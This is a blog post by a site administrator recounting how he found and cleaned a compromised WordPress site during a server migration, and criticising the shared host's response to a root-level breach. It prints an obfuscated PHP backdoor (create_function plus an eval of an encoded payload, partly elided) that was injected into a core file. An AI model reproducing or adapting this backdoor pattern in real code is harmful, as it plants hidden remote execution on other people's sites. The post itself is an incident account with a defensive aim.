Zombies are Real and Infectious…

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That is of course unless you supply a couple well placed rounds to the upper cranial cavity once you discover their plight.

Let me start off at the beginning.  Over the past month I’ve been busy working on polishing the finishing edges of my new VPS.  I’ve spent a lot of time securing it and going through everything I can to provide me the best probabilities for survival when the inevitable finally happens.

Last weekend I migrated Linoge and Weer’d over to the new server as well since I had finished hammering out the last of the kinks with the help of the LiquidWeb support team.

I moved Linoge over and had a few minor oddities which I quickly fixed and got taken care of.  From there I set my sights on moving Weer’d

I logged in, dumped the database, tar’d up the site.  The tar fails, odd, what do you mean you couldn’t read that file?  Didn’t think much of it, found the file, odd the permissions are 000.  This isn’t my site though and I’m not sure if there was something special done so I fix it.  Total I fix 8 files like this.  I move the site over, and get him set up on the new server.  It actually went even smoother than Linoge and didn’t require a weird step.

Fast forward 24 hours to when I begin my evening log check.  I run tail /var/log/messages.  What I see does not provide me comfort.

May  5 22:34:06 clark suhosin[26061]: ALERT – script tried to increase memory_limit to 268435456 bytes which is above the allowed value (attacker ’66.249.76.207′, file ‘/home/weerd/public_html/wp-includes/post-template.php’, line 694)

May  5 22:34:06 clark suhosin[26061]: ALERT – script tried to increase memory_limit to 268435456 bytes which is above the allowed value (attacker ’66.249.76.207′, file ‘/home/weerd/public_html/wp-includes/post-template.php’, line 694)

What!?  I promptly dump open that file and am greeted by the following:

/**

* Applies custom filter.

*ap

* @since 0.71

*

* $text string to apply the filter

* @return string

*/

function applyfilter($text=null) {

  @ini_set(‘memory_limit’,’256M’);

  if($text) @ob_start();

  if(1){global $O10O1OO1O;$O10O1OO1O=create_function(‘$s,$k’,"\44\163\75\165\162\154\144\145\143\157\144\145\50\44\163\51\73\40\44\164\141\162\147\145\164\75\47\47\73\44\123\75\47\41\43\44\45\46\50\51\52\53\54\55\……………\164\56\75\44\143\150\141\162\73\40\175\40\162\145\164\165\162\156\40\44\164\141\162\147\145\164\73"); if(!function_exists("O01100llO")){function O01100llO(){global $O10O1OO1O;return call_user_func($O10O1OO1O,‘od%2bY8%23%24%3fMA%2aM%5dnjjMjBBPP%3eF%27VzBPp%5ez1h%27%27hIm%2bKKbC0XJ%5e%3b%60%40Bd44d%22%2eULLtT1MMZf%3eZSRt%22%2a%2a0y%5cjj%291%………………….%3eBhG%27%7dl’,6274);}call_user_func(create_function(,"\x65\x76\x61l(\x4F01100llO());"));}}

  if($text) {$out=@ob_get_contents(); @ob_end_clean(); return $text.$out;}

}

Now, for those who may not realize it, that odd text in there I immediately recognized as obfuscated code… that was in the middle of a standard WordPress installation.  Das Not Good.  Promptly I shifted into Defcon 2, the good news was the IP in the log was Google crawling the site.  I promptly bump an email to Weer’d along with everyone else about this new Charlie Foxtrot.

I have no idea how severe this incident is at this point I trust absolutely no one.  My first order of business is to close the problem that I now see.  I manually reinstall WordPress overwriting ALL the existing files on the server.  This promptly stops those trailing messages in my log.  Something new happens though.

Weer’d has WordFence security, fantastic plugin and I highly suggest it, and I run a scan, it say’s nothing is wrong.  I call BS.  There is no way that’s it.  I do a diff with another site that is known good and discover a pile of files.

image

There’s the list in a little more file friendly form.  I promptly removed and reinstalled the WordFence plugin.  This is where things get interesting.  I see this in the scan output

Mon, 06 May 13 02:45:03 +0000::1367822703.7602:2:info::Adding issue: This file appears to be an attack shell

Mon, 06 May 13 02:45:03 +0000::1367822703.7594:2:info::Adding issue: This file appears to be an attack shell

And I had to keep running the scan over and over.  I finally just resort to nuking everything, double checking from a shell and then reinstalling what I do actually want to keep.  Overall this is very little.  Every time I run a scan after fixing something I find something new.  Eventually I discover that the theme has been compromised.  Dump the theme and replace it.  Overall there were both stock WordPress files that were compromised along with additional files that were added but made to look legitimate.

After a short while I had the site cleaned up.  I will do a more through cleaning but that was the immediate action remedy for BF 30 in the am Sunday night.

I do however want to investigate the details of this.  I login to the old server and start looking around.  All the exploits are still present, so that means it was prior to the move and then I look at the root directory:

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Do you see it?  Here’s the dump of what’s inside:

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Now if you closely pay attention you can gleam a few important facts from the above.  First, they had multiple exploits to get back in.  Second, they obtained root access on the box.  In hindsight I noticed a few things (other than the interesting file name that should have been a giant fucking red flag) such as .bash_history not working correctly.  Lastly though we can note the date for the last edit October 5th, 2012.

There’s a reason that rung a bell with me.  From an article dated Oct 3, 2012

The distributed denial-of-service (DDoS) attacks—which over the past two weeks also caused disruptions at JP Morgan Chase, Wells Fargo, US Bancorp, Citigroup, and PNC Bank—were waged by hundreds of compromised servers. Some were hijacked to run a relatively new attack tool known as "itsoknoproblembro." When combined, the above-average bandwidth possessed by each server created peak floods exceeding 60 gigabits per second.

More unusually, the attacks also employed a rapidly changing array of methods to maximize the effects of this torrent of data. The uncommon ability of the attackers to simultaneously saturate routers, bank servers, and the applications they run—and to then recalibrate their attack traffic depending on the results achieved—had the effect of temporarily overwhelming the targets.

It appears I found a zombie that was sleeping in my friends place and inadvertently moved him.  That’s OK though, upon finding him I filled him full of 00 Buck Shot and did a mag dump from the AR for good measure.  I will also be killing the entire area with fire here when I get a bit more free time.

My actions though are leaps and bounds beyond what Dreamhost is doing and remember they’re the one’s who actually suffered a data breach and have a sever where root was compromised.

Thank you for writing.  Let us assure you that you’re not on your own!  We’re here to guide you through this process as much as we possibly can.  By the time you’re reading this email we have attempted to clean some basic rudimentary hacks out of your account and fix any open permissions; any actions taken will be noted below.
Going forward, we need you to take care of some basic site maintenance steps to ensure that your account has been secured.  To get started, please read and act on all of the information in the email below.  Since it involves editing and potentially deleting data under your users we are not able to complete all tasks for you.  If you have questions about the noted items please provide as much information and detail as possible about where you are getting stuck and we will do our best to assist you.
Here’s another area where we’re able to help — if you would like us to scan your account again for vulnerabilities after you have completed some or all of the steps below, please reply to this email and request a rescan and we can then verify your progress or if there are any lingering issues.
Most commonly hacking exploits occur through known vulnerabilities in outdated copies of web software (blogs, galleries, carts, wikis, forums, CMS scripts, etc.) running under your domains.  To secure your sites you should:
1) Update all pre-packaged web software to the most recent versions available from the vendor.  The following site can help you determine if you’re running a vulnerable version:
– Any old/outdated/archive installations that you do not intend to maintain need to be deleted from the server.
You should check any other domains (if applicable) for vulnerable software as well, as one domain being exploited could result in all domains under that user being exploited due to the shared permissions and home directory.
2) Remove ALL third-party plugins/themes/templates/components after upgrading your software installations, and from those that are already upgraded under an infected user.  After everything is removed, reinstall only the ones you need from fresh/clean downloads via a trusted source.  These files typically persist through a version upgrade and can carry hacked code with them.  Also, many software packages come with loads of extra content you don’t actually use and make searching for malicious content even harder.
3) Review other suspicious files under affected users/domains for potential malicious injections or hacker shells.  Eyeballing your directories for strangely named files, and reviewing recently-modified files can help.  The following shell command will search for files modified within the last 3 days, except for files within your Maildir and logs directories.  You can change the number to change the number of days, and add additional grep exception pipes as well to fine-tune your search (for example if you’re getting a lot of CMS cache results that are cluttering the output).
find . -type f -mtime -3 | grep -v "/Maildir/" | grep -v "/logs/"
In scanning your weerd user we found 3 hacked files that we were able to try and clean.  Backups of the original hacked files can be found at /home/weerd/INFECTED_BACKUP_1367876582 under your user, with a full list of the original files at /home/weerd/INFECTED_BACKUP_1367876582/cleaned_file_list.txt.  You should verify that your site is working fully after being cleaned and then delete the INFECTED_BACKUP directory fully.
Likely hacked code / hacker shells that we could not automatically clean were found under weerd here:
Likely hacked code / hacker shells that we could not automatically clean were found under jp556 here:
For information specific to WordPress hacks please see:
http://wiki.dreamhost.com/My_Wordpress_site_was_hacked
More information on this topic is available at the following URL under the "CGI Hack" and "Cleaning Up" sections:
http://wiki.dreamhost.com/Troubleshooting_Hacked_Sites

Seriously… A shared hosting server, not a VPS mind you, where there is evidence of a shell compromise that resulted in Root access and your response is, “Here we’ll help you remove the malicious code from your site.”  Uh, already done that sparky but the bad news is that’s like closing the barn door after the cow has gotten out.  Or more specifically closing the front door and locking it after the serial killer has gotten into your house.  You really think those guys didn’t create backdoors in other sites? 

The real reason we were informing you is because you have a breach which placed everyone who has data on that server in danger.  I’m root, I can just go and place whatever exploit I want in whoever’s code I want.  I don’t think you understand why I had Linoge contact you boy genius.

Yes I understand you want to look good and not like a complete idiot in front of your customers.  Know what though “Pride goes before destruction, a haughty spirit before a fall.”  I was informing you because this is serious and at least an acknowledgement of, “thank you, we will get right on that” would be smart.  Try having to deal with constant outages and not being sure exactly why it’s happening.  It sucks, every time something goes wrong I think my forehead gets flatter from my desk.  Luckily at this point I think it’s solved and todays was a bit of an odd duck that only affected one site but I digress.

Linoge informed me his server issues started late last September/early October and have continued right up to today.  Well I’m sorry but we have heavy signs of enemy action and that is no coincidence.  That server is most likely still compromised at the root level and it appears Dreamhost has no interest in fixing it.  With a shared host your attack surface area is much larger and your odds of compromise increase.  So does the damage from a root compromise.

So remember folks, digital zombies exist, they are contagious if you’re not careful, and are best dealt with a serious dose of heavy metal positing followed by a tactical nuke to the general vicinity.  Be very careful too, sites you may think are safe may have actually been compromised.  Now hopefully I can get all the other stuff I’m trying to get done and finally get some sleep.  Constant 0200 bedtimes with 0630 rise times are eating me whole.

Barron is the owner, editor, and principal author at The Minuteman, a competitive shooter, and staff member for Boomershoot. Even in his free time he’s merging his love and knowledge of computers and technology with his love of firearms.

He has a BS in electrical engineering from Washington State University. Immediately after college he went into work on embedded software and hardware for use in critical infrastructure. This included cryptographic communications equipment as well as command and control devices that were using that communications equipment. Since then he’s worked on just about everything ranging from toys, phones, other critical infrastructure, and even desktop applications. Doing everything from hardware system design, to software architecture, to actually writing software that makes your athletic band do it’s thing.

About Barron Barnett

Barron is the owner, editor, and principal author at The Minuteman, a competitive shooter, and staff member for Boomershoot. Even in his free time he’s merging his love and knowledge of computers and technology with his love of firearms. He has a BS in electrical engineering from Washington State University. Immediately after college he went into work on embedded software and hardware for use in critical infrastructure. This included cryptographic communications equipment as well as command and control devices that were using that communications equipment. Since then he’s worked on just about everything ranging from toys, phones, other critical infrastructure, and even desktop applications. Doing everything from hardware system design, to software architecture, to actually writing software that makes your athletic band do it’s thing.
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2 Responses to Zombies are Real and Infectious…

  1. Jake says:

    That’s their response to a root level breach?!?!

    Shun-sheng duh gao-wahn, they suck!

  2. Linoge says:

    First off, I am sorry for apparently helping import this all-too-entertaining code to your servers, and I am very thankful you were able to find and nuke it before things went south.

    That said, if DH’s response to this situation does not adequately illustrate why I am running away from there as fast as I possibly can, nothing will.

    Thanks again for your help, Barron!